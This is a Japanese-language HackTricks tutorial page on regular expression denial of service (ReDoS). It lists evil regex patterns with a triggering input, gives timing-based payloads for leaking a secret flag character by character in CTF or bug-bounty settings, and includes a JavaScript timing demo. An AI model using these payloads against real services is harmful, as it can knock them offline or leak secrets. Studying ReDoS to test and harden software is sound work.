hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

6.9 KiB
Raw Blame History

正規表現によるサービス拒否攻撃 - ReDoS

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricks をサポートする他の方法:

  • HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は SUBSCRIPTION PLANS をチェックしてください!
  • 公式PEASSHackTricksグッズを入手する
  • The PEASS Familyを発見し、独占的な NFTsのコレクションを見つける
  • 💬 Discordグループ に参加するか、telegramグループに参加するか、Twitter 🐦@carlospolopm をフォローする
  • HackTricksHackTricks Cloud のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する

正規表現によるサービス拒否攻撃ReDoS

正規表現によるサービス拒否攻撃ReDoS は、正規表現(テキスト内のパターンを検索および一致させる方法)の動作方法の弱点を悪用することで発生します。 時々、正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。 この遅延は、テキストサイズがわずかに増加するだけで非常に速く成長することがあります。 攻撃者はこの問題を利用して、正規表現を使用するプログラムを長時間正常に動作しないようにすることができます。

問題のある正規表現ナイーブアルゴリズム

詳細はhttps://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoSを確認してください

悪意のある正規表現

悪意のある正規表現パターンは、DoSを引き起こすように作成された入力でスタックするものです。 悪意のある正規表現パターンには、通常、繰り返しを含むグループ化や繰り返し、または繰り返しグループ内でのオーバーラップが含まれます。 悪意のあるパターンの例には、次のものがあります:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x}ただし、x > 10

これらすべてが入力 aaaaaaaaaaaaaaaaaaaaaaaa! に対して脆弱です。

ReDoS ペイロード

ReDoS を介した文字列の外部流出

CTFまたはバグバウンティでは、おそらく 機密情報(フラグ)が一致する正規表現を制御できる場合があります。 その場合、**正規表現が一致した場合にページをフリーズさせる(タイムアウトまたは処理時間を延長する)**と便利かもしれません。 これにより、文字列を 1文字ずつ外部に流出 できます:

  • この投稿 で、このReDoSルールを見つけることができます ^(?=<flag>)((.*)*)*salt$
  • 例: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • この解説 では、次のものが見つかります:<flag>(((((((.*)*)*)*)*)*)*)!
  • この解説 では、次のものを使用しました: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

入力と正規表現を制御する ReDoS

以下は、入力正規表現の両方を制御する ReDoS の例です:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

ツール

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法